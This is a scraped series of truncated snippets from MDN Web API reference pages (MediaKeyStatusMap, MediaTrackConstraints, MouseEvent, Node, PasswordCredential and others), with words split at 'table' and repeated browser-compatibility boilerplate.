media from being successfully fetched, despite having previously been available. media_err_decode 3 despite having previously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error. media_err_src_not_supported 4 the associated resource or media provider object (such as a mediastream) has been found to be unsui
table. mediaerror.message a domstring object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong. this text and its format is not defined by the spe...
MediaKeyMessageEvent() - Web APIs
ning one of may be one of license-request, license-renewal, license-renewal, or individualization-request. options options are as follows: messagetype: a developer-defined message type that allows applications to differentiate messages without parsing them. message: an array containing the message generated by the content decryption module. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() constructor experimentalchrome ...
MediaKeyStatusMap.entries() - Web APIs
mediakeystatusmap interface returns a new iterator object, containing an array of [key, value] pairs for each element in the status map, in insertion order. syntax // tbd parameters none. returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetentries experimentalchrome full support ...
MediaKeyStatusMap.forEach() - Web APIs
index the index of the current element being processed in the array. array which array foreach() is being applied to. thisarg optional value used as this when executing callback. returns undefined. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeach experimentalchrome full support ...
MediaKeyStatusMap.get() - Web APIs
en key, or undefined if there is none. syntax var value = mediakeystatusmap.get(key); parameters key the key whose value you want returned. returns the value associated with the given key, or undefined. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetget experimentalchrome full support ...
MediaKeyStatusMap.has() - Web APIs
e returns a boolean, asserting whether a value has been associated with the given key. syntax var boolean = mediakeystatusmap(key) parameters key the key whose value you want returned returns a boolean. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethas experimentalchrome full support ...
MediaKeyStatusMap.keys() - Web APIs
usmap interface returns a new iterator object, containing keys for each element in the status map, in insertion order. syntax var iterator = mediakeystatusmap.keys() parameters none. returns a new iterator. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeys experimentalchrome full support ...
MediaKeyStatusMap.size - Web APIs
perty of the mediakeystatusmap interface returns the number of key/value pairs in the status map. syntax var size = mediakeystatusmap.size; value a long integer. specifications specification status comment encrypted media extensionsthe definition of 'size' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalchrome full support ...
MediaKeyStatusMap.values() - Web APIs
p interface returns a new iterator object, containing values for each element in the status map, in insertion order. syntax var iterator = mediakeystatusmap.values() parameters none. returns a new iterator. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalues experimentalchrome full support ...
MediaMetadata.album - Web APIs
he album or collection containing the media to be played. syntax var album = mediametadata.album mediametadata.album = album value a string containing the name of the album. specifications specification status comment media session standardthe definition of 'album' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalbum experimentalchrome full support ...
MediaMetadata.artist - Web APIs
t, group, creator, etc., of the media to be played. syntax var artist = mediametadata.artist mediametadata.artist = artist value a string containing the name of the artist. specifications specification status comment media session standardthe definition of 'artist' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartist experimentalchrome full support ...
MediaMetadata.artwork - Web APIs
cts representing images associated with playing media. syntax var artwork[] = mediametadata.artwork mediametadata.artwork = artwork[] value an array of mediaimage objects. specifications specification status comment media session standardthe definition of 'artwork' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartwork experimentalchrome full support ...
MediaMetadata.title - Web APIs
ace returns or sets the title of the media to be played. syntax var title = mediametadata.title mediametadata.title = title value a string containing the title of the media. specifications specification status comment media session standardthe definition of 'title' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettitle experimentalchrome full support ...
MediaMetadata - Web APIs
r sets the name of the album or collection containing the media to be played. mediametadata.artwork returns or sets an array of images associated with playing media. specifications specification status comment media session standardthe definition of 'mediametadata' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediametadata experimentalchrome full support ...
MediaRecorder.audioBitsPerSecond - Web APIs
t rate specified in the constructor (if it was provided). syntax var audiobitspersecond = mediarecorder.audiobitspersecond value a number (unsigned long). specifications specification status comment mediastream recordingthe definition of 'audiobitspersecond' in that specification. working draft initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobitspersecond experimentalchrome full suppor...
MediaRecorder.ignoreMutedMedia - Web APIs
order interface indicates whether the mediarecorder instance will record input, when the input mediastreamtrack is muted. if this attribute is false, mediarecorder will record silence for audio and black frames for video. the default is false. syntax var boolean = mediarecorder.ignoremutedmedia mediarecorder.ignoremutedmedia = boolean value a boolean. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetignoremutedmedia deprecatednon-standardchrome no su...
MediaRecorder.mimeType - Web APIs
.catch(function(error) { console.log(error.message); }); changing line 14 to the following causes mediarecorder to try to use avc constrained baseline profile level 4 for video and aac-lc (low complexity) for audio, which is good for mobile and other possible resource-constrained situations. mimetype: 'video/mp4; codecs="avc1.424028, mp4a.40.2"' assuming this configuration is accep
table to the user agent, the value returned later by m.mimetype would then be video/mp4; codecs="avc1.424028, mp4a.40.2". specifications specification status comment mediastream recordingthe definition of 'mediarecorder.mimetype' in that specification. working draft initial definition ...
MediaSession.playbackState - Web APIs
y() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'playbackstate' in that specification. draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetplaybackstate experimentalchrome full support ...
MediaStream.getTracks() - Web APIs
astream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettracks experimentalchrome full support ...
MediaStream.id - Web APIs
id; example var p = navigator.mediadevices.getusermedia({ audio: true, video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and streamsthe definition of 'mediastream.id' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome no support ? — 54edge ...
MediaStreamAudioSourceNode - Web APIs
audionode. mediastream read only the mediastream used when constructing this mediastreamaudiosourcenode. methods inherits methods from its parent, audionode. exceptions invalidstateerror the stream specified by the mediastream parameter does not contain any audio tracks. usage notes typically, you should probably not use this type of node. it has been replaced with the more predic
table mediastreamtrackaudiosourcenode, which has better-defined rules for how it chooses the track to output. if you do chooose to use mediastreamaudiosourcenode, you should keep the following in mind. track ordering for the purposes of the mediastreamtrackaudiosourcenode interface, the order of the audio tracks on the stream is determined by taking the tracks whose kind is audio, then sorting the t...
MediaStreamTrack.applyConstraints() - Web APIs
the applyconstraints() method of the mediastreamtrack interface applies a set of constraints to the track; these constraints let the web site or app establish ideal values and accep
table ranges of values for the constrainable properties of the track, such as frame rate, dimensions, echo cancelation, and so forth. constraints can be used to ensure that the media meets certain guidelines you prefer. for example, you may prefer high-density video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network. constraints can also specify ideal and/or accep
table sizes or ranges of sizes. see applying constraints in capabilities, constraints, and settings for more information on how to apply your preferred constraints. syntax const appliedpromise = ...
MediaStreamTrack.getCapabilities() - Web APIs
the getcapabilities() method of the mediastreamtrack interface returns a mediatrackcapabilities object which specifies the values or range of values which each constrainable property, based upon the platform and user agent. once you know what the browser's capabilities are, your script can use applyconstraints() to ask for the track to be configured to match ideal or accep
table settings. see capabilities, constraints, and settings for details on how to work with constrainable properties. syntax const capabilities = track.getcapabilities() return value a mediatrackcapabilities object which specifies the value or range of values which are supported for each of the user agent's supported constrainable properties. specifications specification status comment media cap...
MediaStreamTrack.getConstraints() - Web APIs
the getconstraints() method of the mediastreamtrack interface returns a mediatrackconstraints object containing the set of constraints most recently established for the track using a prior call to applyconstraints(). these constraints indicate values and ranges of values that the web site or application has specified are required or accep
table for the included constrainable properties. constraints can be used to ensure that the media meets certain guidelines you prefer. for example, you may prefer high definition video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network. constraints can also specify ideal and/or accep
table sizes or ranges of sizes. see capabilities, constraints, and settings for details on how to work with constrainabl...
MediaStreamTrack - Web APIs
on or off using the enabled attribute. "ended" which indicates that the input is not giving any more data and will never provide new data. mediastreamtrack.remote read only returns a boolean with a value of true if the track is sourced by a rtcpeerconnection, false otherwise. methods mediastreamtrack.applyconstraints() lets the application specify the ideal and/or ranges of accep
table values for any number of the available constrainable properties of the mediastreamtrack. mediastreamtrack.clone() returns a duplicate of the mediastreamtrack. mediastreamtrack.getcapabilities() returns the a list of constrainable properties available for the mediastreamtrack. mediastreamtrack.getconstraints() returns a mediatrackconstraints object containing the currently set constraints fo...
MediaTrackConstraints.aspectRatio - Web APIs
y checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { aspectratio: constraint }; constraintsobject.aspectratio = constraint; value a constraindouble describing the accep
table or required value(s) for a video track's aspect ratio. the value is the width divided by the height and is rounded to ten decimal places. for example, the standard high-definition video aspect ratio of 16:9 can be computed as 1920/1080, or 1.7777777778. if this value is a number, the user agent will attempt to obtain media whose aspect ratio is as close as possible to this number given the capab...
MediaTrackConstraints.deviceId - Web APIs
is is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more accep
table, ideal, and/or exact (mandatory) device ids which are accep
table as the source of media content. device ids are unique for a given origin, and are guaranteed to be the same across browsing sessions on the same origin. however, the value of the deviceid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is...
MediaTrackConstraints.frameRate - Web APIs
rted by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { framerate: constraint }; constraintsobject.framerate = constraint; value a constraindouble describing the accep
table or required value(s) for a video track's frame rate, in frames per second. if this value is a number, the user agent will attempt to obtain media whose frame rate is as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact match to the r...
MediaTrackConstraints.groupId - Web APIs
alue of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more accep
table, ideal, and/or exact (mandatory) group ids which are accep
table as the source of media content. group ids are unique for a given origin for the duration of a single browsing session, and are shared by all media sources that come from the same physical device. for example, the microphone and speaker on the same headset would share a group id. this makes it possible to use the group id to ensure t...
MediaTrackControls.volume - Web APIs
is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { volume: constraint }; constraintsobject.volume = constraint; value a constraindouble describing the accep
table or required value(s) for an audio track's volume, on a linear scale where 0.0 means silence and 1.0 is the highest supported volume. if this value is a number, the user agent will attempt to obtain media whose volume is as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, the value of this constraindouble will guide the user a...
MediaTrackSettings.facingMode - Web APIs
tion, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var facingmode = mediatracksettings.facingmode; value a domstring whose value is one of the strings in videofacingmodeenum. videofacingmodeenum the following strings are permitted values for the facing mode. these may represent separate cameras, or they may represent directions in which an adjus
table camera can be pointed. "user" the video source is facing toward the user; this includes, for example, the front-facing camera on a smartphone. "environment" the video source is facing away from the user, thereby viewing their environment. this is the back camera on a smartphone. "left" the video source is facing toward the user but to their left, such as a camera aimed toward the user but...
MediaTrackSettings.groupId - Web APIs
and output are both being performed on the same headset, for example, or to ensure that the built-in camera and microphone on a phone are being used for video conferencing purposes. the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does recommend it be a guid. since this property isn't s
table across browsing sessions, its usefulness when calling getusermedia() is generally limited to ensuring that tasks performed during the same browsing session use devices from the same group (or that they don't use devices from the same group). there is no situation in which the groupid is useful when calling applyconstraints(), since the value can't be changed. example see example: constraint exe...
MediaTrackSettings - Web APIs
to 1.0 (maximum supported volume). properties of video tracks aspectratio a double-precision floating point value indicating the current value of the aspectratio property, specified precisely to 10 decimal places. this is the width of the image in pixels divided by its height in pixels. common values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on
tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio common among widescreen computers and
tablets). facingmode a domstring indicating the current value of the facingmode property, specifying the direction the camera is facing. the value will be one of: "user" a camera facing the user (commonly known as a "selfie...
MediaTrackSupportedConstraints.frameRate - Web APIs
ortedconstraints dictionary's framerate property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the framerate constraint. if the constraint isn't supported, it's not included in the list, so this value will never be false. the framerate constraint can be used to establish accep
table upper and lower bounds on the video frame rate for a new video track, or to specify an exact frame rate that must be provided for the request to succeed. checking the value of this property lets you determine if the user agent allows constraining the video track configuration by frame rate. see the example to see how this can be used. syntax framerateconstraintsupported = supportedconstraintsdi...
Media Session API - Web APIs
type of action to perform and any other information needed, such as seek distances or times. examples the following example shows feature detection for the media session api. ...
Transcoding assets for Media Source Extensions - Web APIs
trailer_1080p.mov which is the download. [0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with mse, the following tools are a must have: ffmpeg — a command-line utility for transcoding your media into the required formats. you can download a version for your system at the download ffmpeg page. extract the execu
table from the archive file and add it's location to your path statement. osx users can also use homebrew to install ffmpeg. bento4 — a set of command-line utilities for getting asset metadata and creating content for dash. to install, you'll need to build/compile the application yourself from the provided project files/source files, depending on your os and preferences. see the building instruction...
Metadata.modificationTime - Web APIs
a) { if ((new date().getfullyear() - metadata.modificationtime.getfullyear()) >= 5) { fileentry.remove(function() { workingdirectory.getfile("tmp/workfile.json", { create: true }, function(newentry) { fileentry = newentry; }); }); } }); }, handleerror); this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodificationtime experimentalnon-standardchrome f...
Metadata.size - Web APIs
than a megabyte. workingdirectory.getfile("log/important.log", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { fileentry.remove(function() { /* log file removed; do something clever here */ }); } }); }, handleerror); this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalnon-standardchrome full support ...
Metadata - Web APIs
date object indicating the date and time the entry was modified. size read only a 64-bit unsigned integer indicating the size of the entry in bytes. specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmetadata experimentalnon-standardchrome full supp...
MouseEvent.mozInputSource - Web APIs
ith the event). syntax var source = instanceofmouseevent.mozinputsource; return value the following values are possible. constant name value desription moz_source_unknown 0 the input device is unknown. moz_source_mouse 1 the event was generated by a mouse (or mouse-like device). moz_source_pen 2 the event was generated by a pen on a
tablet. moz_source_eraser 3 the event was generated by an eraser on a
tablet. moz_source_cursor 4 the event was generated by a cursor. moz_source_touch 5 the event was generated on a touch interface. moz_source_keyboard 6 the event was generated by a keyboard. specifications not part of any specification. ...
MouseEvent - Web APIs
creen) coordinates. mouseevent.screeny read only the y coordinate of the mouse pointer in global (screen) coordinates. mouseevent.shiftkey read only returns true if the shift key was down when the mouse event was fired. mouseevent.which read only the button being pressed when the mouse event was fired. mouseevent.mozpressure read only the amount of pressure applied to a touch or
tablet device when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). instead of using this deprecated (and non-standard) property, you should instead use pointerevent and look at its pressure property. mouseevent.mozinputsource read only the type of device that generated the event (one of the moz_source_* constants listed below). this lets you, for ...
MutationObserverInit.characterData - Web APIs
note that this doesn't monitor content of an htmlelement, even if it only contains text inside, as it only monitors text nodes themselves. so either pass directly a text node to the observe() method or you need to also set subtree: true. ...
MutationObserverInit.characterDataOldValue - Web APIs
pecify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the previous value of text nodes which changed. if you set the mutationobserverinit.characterdata property to true but don't set characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's contents. character data changes are detec
table on any text node, including nodes based on the text, processinginstruction, and comment interfaces. syntax var options = { characterdataoldvalue: true | false } value a boolean value indicating whether or not to set the mutationrecord's oldvalue property to be a string containing the value of the character node's contents prior to the change represented by the mutation record. by default,...
NavigationPreloadManager - Web APIs
const response = await event.preloadresponse; if (response) return response; // else try the network. return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification. working draft initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreloadmanager experimentalchrome full ...
Navigator.maxTouchPoints - Web APIs
m number of simultaneous touch contact points are supported by the current device. syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification. recommendation non-s
table version. pointer eventsthe definition of 'maxtouchpoints' in that specification. obsolete initial definition. ...
NavigatorID.userAgent - Web APIs
r ua = navigator.useragent; value a domstring specifying the complete user agent string the browser provides both in http headers and in response to this and other related methods on the navigator object. the user agent string is built on a formal structure which can be decomposed into several pieces of info. each of these pieces of info comes from other navigator properties which are also set
table by the user. gecko-based browsers comply with the following general structure: useragent = appcodename/appversion number (platform; security; os-or-cpu; localization; rv: revision-version-number) product/productsub application-name application-name-version example alert(window.navigator.useragent) // alerts "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape6/6.1" s...
Node.insertBefore() - Web APIs
domthe definition of 'node.insertbefore' in that specification. living standard fixes errors in the insertion algorithm dom4the definition of 'node.insertbefore' in that specification. obsolete describes the algorithm in more detail document object model (dom) level 3 core specificationthe definition of 'node.insertbefore' in that specification. obsolete no no
table changes document object model (dom) level 2 core specificationthe definition of 'node.insertbefore' in that specification. obsolete no no
table changes document object model (dom) level 1 specificationthe definition of 'node.insertbefore' in that specification. obsolete introduced ...
Node.nodeValue - Web APIs
f the node interface returns or sets the value of the current node. syntax str = node.nodevalue; node.nodevalue = str; value str is a string containing the value of the current node, if any. for the document itself, nodevalue returns null. for text, comment, and cdata nodes, nodevalue returns the content of the node. for attribute nodes, the value of the attribute is returned. ...
Node - Web APIs
the dom node interface is an abstract base class upon which many other dom api objects are based, thus letting those object types to be used similarly and often interchangeably. as an abstract class, there is no such thing as a plain node object. all objects that implement node functionality are based on one of its subclasses. most no
table are document, element, and documentfragment. in addition, every kind of dom node is represented by an interface based on node. these include attr, characterdata (which text, comment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference. in some cases, a particular feature of the base node interface may not apply to one of its child interfaces; in that case, the inheriting node may return null or thr...
NodeList.prototype.forEach() - Web APIs
oreach = array.prototype.foreach; } the above behavior is how many browsers actually implement nodelist.prototype.foreach() (chrome, for example). specifications specification status comment web idlthe definition of 'foreach' in that specification. candidate recommendation defines foreach on iterable declarations browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeachchrome full support ...
NodeList.item() - Web APIs
list. this is usually obtained from another dom property or method, such as childnodes. index is the index of the node to be fetched. the index is zero-based. nodeitem is the indexth node in the nodelist returned by the item method. alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var
tables = document.getelementsbytagname("
table"); var first
table =
tables.item(1); // or simply
tables[1] - returns the second
table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that specification. living standard ...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
ldnode. this method is now defined on the former. the element and characterdata interfaces implemented the new interface. element traversal specificationthe definition of 'elementtraversal.nextelementsibling' in that specification. obsolete added its initial definition to the elementtraversal pure interface and use it on element. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnextelementsiblingchrome full support ...
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode is a raw interface and no object of this type can be created; it is implemented by element, and characterdata objects. properties there are no inherited properties. nondocumenttypechildnode.previouselementsibling read only returns the element immediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node. ...
NotificationEvent - Web APIs
return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notificationevent' in that specification. living standard living standard. note: this interface is specified in the notifications api, but accessed through serviceworkerglobalscope. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnotificationevent experimentalchrome full support...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
as follows: renderedbuffer: the rendered audiobuffer containing the audio data. return value a new offlineaudiocompletionevent object instance. specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetofflineaudiocompletionevent() constructorchrome f...
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
audiobuffer containing the result of processing an offlineaudiocontext. syntax var buffer = offlineaudiocompletioneventinstance.renderedbuffer; value an audiobuffer. specifications specification status comment web audio apithe definition of 'renderedbuffer' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrenderedbufferchrome full support ...
OffscreenCanvas.getContext() - Web APIs
"bitmaprenderer" creates a imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap. note: the identifiers "experimental-webgl" or "experimental-webgl2" are also used in implementations of webgl. these implementations have not reached test suite conformance, or the graphic drivers situation on the platform is not yet s
table. the khronos group certifies webgl implementations under certain conformance rules. contextattributes you can use several context attributes when creating your rendering context, for example: offscreen.getcontext("webgl", { antialias: false, depth: false }); 2d context attributes: alpha: boolean that indicates if the canvas contains an alpha chann...
OscillatorNode.OscillatorNode() - Web APIs
the oscillatornode() constructor of the web audio api creates a new oscillatornode object which is an audionode that represents a periodic waveform, like a sine wave, optionally setting the node's properties' values to match values in a specified object. if the default values of the properties are accep
table, you can optionally use the audiocontext.createoscillator() factory method instead. syntax var oscillatornode = new oscillatornode(context, options) parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext. options optional an object whose properties specify the initial values for the oscillator node's properties. any properties omitted from the object will take on the default value as documented. type the shape of the wav...
PannerNode.coneInnerAngle - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.coneinnerangle = 360; value a double. example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. ...
PasswordCredential - Web APIs
hods none. examples var cred = new passwordcredential({ id: id, password: password, name: name, iconurl: iconurl }); navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpasswordcredential experimentalchrome full suppor...
PaymentAddress.region - Web APIs
the country in which the address is located. this region has different names in different countries, such as: state, province, oblast, prefecture, or county. usage notes in some countries, like belgium, it's uncommon for people to provide a region as part of their postal address. in such cases, the browser returns an empty string as the value of region. however, the address should still be accep
table to use for its intended purpose (e.g., to ship a product). however, always verify addresses to make sure what the user provides is usable. specifications specification status comment payment request apithe definition of 'paymentaddress.region' in that specification. candidate recommendation initial definition. ...
PaymentAddress.toJSON() - Web APIs
that returns a json representation of the paymentaddress object's properties. syntax var json = paymentaddress.tojson() parameters none. return value a json object. specifications specification status comment web idlthe definition of 'tojson()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
